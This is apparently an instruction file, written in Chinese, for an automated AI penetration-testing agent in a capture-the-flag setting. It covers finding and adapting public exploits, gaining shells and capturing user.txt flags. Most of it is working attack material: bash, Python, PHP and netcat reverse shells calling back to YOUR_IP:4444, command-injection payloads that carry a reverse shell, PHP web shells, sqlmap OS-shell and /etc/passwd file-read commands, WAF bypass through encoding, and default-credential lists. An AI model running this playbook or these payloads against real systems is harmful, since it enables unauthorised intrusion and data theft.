漏洞利用知识库
目的
这个知识库提供了全面的漏洞利用方法和技术。它涵盖了将发现的漏洞转化为实际访问权限、寻找和适配漏洞利用程序、在非交互式环境中工作、建立稳定的shell以及捕获用户标志。
核心主题涵盖
- 漏洞发现:寻找与发现的服务相关的漏洞利用程序
- 漏洞适配:修改漏洞利用程序以在目标环境中工作
- 初始访问:获得命令执行或shell访问
- Shell稳定化:升级到稳定、可用的shell
- 用户标志捕获:定位并读取user.txt
可用工具
漏洞数据库
searchsploit- 本地漏洞数据库搜索msfconsole- Metasploit框架- 手动搜索:ExploitDB、GitHub、安全通告
Shell工具
- 反向shell:bash、python、php、nc
- Web shells:PHP、ASP、JSP
rlwrap nc- 稳定shell
Web漏洞利用
sqlmap- SQL注入curl- 手动Web测试- 文件上传绕过技术
- 命令注入测试
凭证测试
hydra- 服务暴力破解(有限使用)ssh/ftp/mysql- 测试发现的凭证
漏洞利用工作流程
第1阶段:多源漏洞发现
**核心原则:**并行使用多个漏洞源 - 永远不要依赖单一来源。
分层漏洞搜索:
# 第1层:本地数据库(最快)
searchsploit "服务版本"
searchsploit CVE-YYYY-XXXXX
# 如果找到 → 进行分析
# 如果未找到 → 立即尝试第2层
# 第2层:Metasploit框架
msfconsole -q -x "search type:exploit name:service_name; exit"
# 如果找到 → 使用msfconsole测试
# 如果未找到 → 立即尝试第3层
# 第3层:在线资源(GitHub、Google)
# GitHub API搜索(自动化)
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html_url'
# Google搜索(如果需要手动)
# 搜索:"CVE-YYYY-XXXXX exploit poc github"
# 搜索:"service_name version exploit"
# 第4层:适配或创建自定义漏洞利用
# 根据漏洞描述/通告
# 修改现有PoC以适应您的环境
关键规则:
- 尝试所有层 - 不要在第1层失败时停止
- 并行搜索 - 如果时间允许,同时搜索多个来源
- 交叉验证 - 如果存在多个漏洞利用,首先尝试最可靠/最新的
- 跟踪来源 - 在
successful_paths中记录哪个来源有效
第2阶段:漏洞分析
运行前:
- 阅读漏洞利用代码 - 理解它的功能
- 检查需求 - 需要的库、凭证
- 确定目标参数 - IP、端口、载荷位置
- 计划适配 - 需要修改什么
第3阶段:漏洞适配
常见的修改需求:
A. Python漏洞利用
# 原始(交互式)
import sys
target = sys.argv[1]
shell = raw_input("Enter command: ")
# 适配(非交互式)
target = "10.10.10.1"
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
B. Metasploit漏洞利用
# 使用非交互式模式
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP; run; exit"
C. 反向Shell载荷
# Bash反向shell
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
# Python反向shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# PHP反向shell(用于上传)
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>
# NC反向shell
nc YOUR_IP 4444 -e /bin/bash
# 或者如果-e不可用:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
第4阶段:监听器设置
在触发漏洞利用之前始终启动监听器:
# 简单监听器
nc -lvnp 4444
# 使用rlwrap稳定监听器
rlwrap nc -lvnp 4444
第5阶段:执行
执行漏洞利用并验证成功:
# 运行漏洞利用
python3 exploit.py
# 如果成功,您应该在监听器中看到连接
# 测试:
id
whoami
pwd
第6阶段:Shell稳定化
一旦您有了基本的shell:
# 升级到TTY shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 然后按Ctrl+Z
stty raw -echo; fg
export TERM=xterm
常见攻击向量
1. 文件上传漏洞
# 测试简单上传
curl -F "file=@shell.php" http://TARGET/upload.php
# 绕过限制
# 尝试:shell.php.jpg, shell.phtml, shell.php5, shell.PhP
# 查找上传的文件
gobuster dir -u http://TARGET/uploads -x php,phtml
# 触发shell
curl http://TARGET/uploads/shell.php?cmd=id
2. SQL注入
# 测试SQLi
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3
# 如果找到,尝试获取shell
sqlmap -u "http://TARGET/page.php?id=1" --os-shell
# 或读取文件
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
3. 命令注入
# 测试常见注入点
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
# 获取反向shell
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
4. 公开漏洞利用
# 如果您发现CVE-2021-XXXX适用
# 搜索PoC
searchsploit CVE-2021-XXXX
# 或检查GitHub
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'
# 下载并适配
wget https://raw.githubusercontent.com/user/repo/exploit.py
# 修改目标IP、端口、载荷
# 运行
python3 exploit.py
5. 默认凭证
测试这些FIRST BEFORE复杂漏洞利用:
# SSH
ssh admin@TARGET # 尝试:admin/admin, root/root, root/toor
# FTP
ftp TARGET # 尝试:anonymous/anonymous, admin/admin
# MySQL
mysql -h TARGET -u root -p # 尝试:root/'', root/root
# Web Admin Panels
# 尝试:admin/admin, admin/password, admin/admin123
环境检测和载荷适配
**核心原则:**在选择漏洞利用方法之前,始终探测环境。
漏洞利用前环境检查
检查您的攻击机器:
# 检查关键工具和版本
java -version 2>&1 | head -1 # 对于JNDI、反序列化漏洞利用
python3 --version # 对于漏洞利用脚本
gcc --version # 对于编译漏洞利用
which nc netcat ncat # 对于反向shell
# 记录环境限制
# 示例:如果Java > 8,JNDI注入将被阻止
# 示例:如果没有gcc,不能编译C漏洞利用 → 需要预编译或基于脚本的
检查目标环境(在获得RCE后):
# 通过webshell或命令注入,测试可用的内容:
which nc python python3 php perl bash sh curl wget
# 测试特定版本如果漏洞利用需要它们
python --version
php --version
# 检查可写目录
ls -la /tmp /dev/shm /var/tmp
# 检查过滤/WAF
# 尝试:echo test
# 尝试:cat /etc/passwd
# 如果被阻止,尝试base64编码或其他绕过
自适应载荷选择
反向Shell的决策树:
1. 我们有RCE吗?
└─ 是 → 进行第2步
└─ 否 → 先获得RCE(文件上传、SQLi等)
2. 检查目标环境
└─ nc可用? → 使用nc反向shell
└─ python可用? → 使用python反向shell
└─ php可用?(web服务器) → 使用PHP反向shell
└─ bash可用? → 使用bash /dev/tcp方法
└─ 都没有? → 上传二进制文件或使用替代方法
3. 测试过滤
└─ 尝试基本命令:echo test
└─ 如果特殊字符被阻止(/, &, >, |) → 使用编码:
- Base64:echo BASE64 | base64 -d | bash
- 十六进制编码
- URL编码
└─ 如果命令被关键词过滤 → 尝试替代品:
- cat → head, tail, nl, more, less
- nc → /dev/tcp, telnet, socat
示例自适应流程:
# 第1步:通过文件上传获得RCE,测试环境
curl "http://TARGET/shell.php?cmd=which nc"
# 响应:为空(nc不可用)
# 第2步:尝试python
curl "http://TARGET/shell.php?cmd=which python3"
# 响应:/usr/bin/python3(可用!)
# 第3步:使用python反向shell
curl "http://TARGET/shell.php?cmd=python3 -c 'import socket,subprocess...'"
# 如果失败并出现错误,诊断:
# - 语法错误? → 检查字符过滤
# - 无响应? → 可能是WAF阻止
# → 尝试base64编码版本
漏洞利用失败诊断
当漏洞利用失败时,系统地诊断:
# 类型1:完全没有响应
可能的原因:
- 防火墙阻止
- 错误的靶目标IP/端口
- 服务实际上不脆弱
行动:验证目标可达,尝试不同的端口,重新检查漏洞
# 类型2:返回错误消息
可能的原因:
- 缺少依赖(库、工具)
- 目标环境的语法错误
- 版本不匹配
行动:仔细阅读错误,安装缺失的依赖,适配漏洞代码
# 类型3:漏洞利用运行但没有shell
可能的原因:
- 载荷被过滤阻止
- 目标缺少所需工具(nc, python)
- 防火墙阻止出站连接
行动:尝试不同的载荷编码,使用不同的shell方法,首先测试简单命令
# 类型4:工具特定失败(例如,Metasploit失败)
可能的原因:
- Metasploit模块中的bug
- 配置问题
行动:尝试替代漏洞利用来源(GitHub,手动PoC),检查模块选项
在状态中记录诊断:
jq '.failed_attempts += [{
"exploit": "CVE-2021-12345",
"tool": "metasploit",
"failure_type": "no shell received",
"diagnosis": "target missing nc, switched to python payload",
"resolution": "used GitHub PoC with python reverse shell - success"
}]' .pentest-state.json
处理非交互式Shells
由于您在CLI-only环境中:
在没有TTY的情况下执行命令
# 而不是交互式shell,使用命令执行
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
# 命令链
curl http://TARGET/shell.php?cmd=cd+/home;ls+-la
# 使用分号
curl http://TARGET/shell.php?cmd=id;whoami;pwd
后台反向Shells
# 在后台启动监听器
nc -lvnp 4444 > shell-output.txt 2>&1 &
# 触发漏洞利用
python3 exploit.py
# 检查输出
cat shell-output.txt
# 通过命名管道发送命令
mkfifo /tmp/pipe
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
用户标志捕获
一旦您有了命令执行:
1. 定位用户标志
# 搜索user.txt
find / -name "user.txt" 2>/dev/null
find /home -name "user.txt" 2>/dev/null
find /home -name "*.txt" 2>/dev/null
# 常见位置
cat /home/*/user.txt
cat /home/user/user.txt
2. 读取和验证
# 读取标志
cat /home/username/user.txt
# 验证格式(应该是32个字符的十六进制)
cat /home/username/user.txt | wc -c # 应该是33(32 + 新行)
3. 更新状态
# 保存到状态文件
USER_FLAG=$(cat /home/username/user.txt)
jq --arg flag "$USER_FLAG" '.flags.user = $flag' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json
故障排除失败的漏洞利用
常见问题
-
“连接被拒绝”
- 检查监听器是否运行:
netstat -tlnp | grep 4444 - 验证防火墙允许连接
- 尝试不同的端口
- 检查监听器是否运行:
-
“模块未找到”(Python)
- 安装:
pip3 install requests pycrypto - 或适配代码以去除依赖
- 安装:
-
“权限被拒绝”
- 漏洞利用可能需要root权限
- 尝试不同的漏洞
-
“漏洞利用工作但没有shell”
- 检查载荷语法
- 尝试不同的反向shell方法
- 验证目标有bash/python/nc
-
“超时"或"无响应”
- 目标可能有WAF/IDS
- 尝试编码载荷
- 使用更慢、更隐蔽的方法
决策树
发现漏洞
│
├─ 是否有公开漏洞利用?
│ ├─ 是 → 在searchsploit/GitHub上搜索
│ │ → 适配并运行
│ └─ 否 → 你能编写自定义漏洞利用?
│ → 开发PoC
│
├─ 获得初始访问?
│ ├─ 是 → 捕获用户标志
│ │ → 继续权限提升
│ └─ 否 → 尝试替代向量
│ → 回顾侦察数据
│ → 尝试不同的服务
│
└─ 3次尝试后仍卡住?
→ 重新运行侦察
→ 查找遗漏的服务
→ 检查配置错误
输出格式
成功漏洞利用后:
{
"status": "user_access_gained",
"method": "File upload RCE via /uploads",
"access_level": "www-data",
"shell_type": "non-interactive webshell",
"user_flag": "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6",
"credentials_found": [],
"next_steps": "Privilege escalation required for root flag"
}
成功标准
成功标准:
- ✅ 在目标上实现命令执行
- ✅ 定位并读取用户标志
- ✅ 标志是32个字符的十六进制字符串
- ✅ 在状态文件中记录访问
- ✅ 准备进入权限提升阶段
核心原则
- 适配漏洞利用 - 公开漏洞利用很少直接有效
- 处理非交互式 - CLI-only环境需要创造力
- 验证成功 - 总是用
id,whoami测试访问 - 捕获标志 - 在进入privesc之前不要继续
- 记录方法 - 保存成功路径以供将来参考
记住
- 先尝试简单的,再尝试复杂的(默认凭证在0-days之前)
- 在运行之前阅读漏洞利用代码(了解它的功能)
- 非交互式shell需要不同的命令
- 用户标志必须在进入privesc之前捕获
- 如果卡住,重新审视侦察以寻找遗漏的向量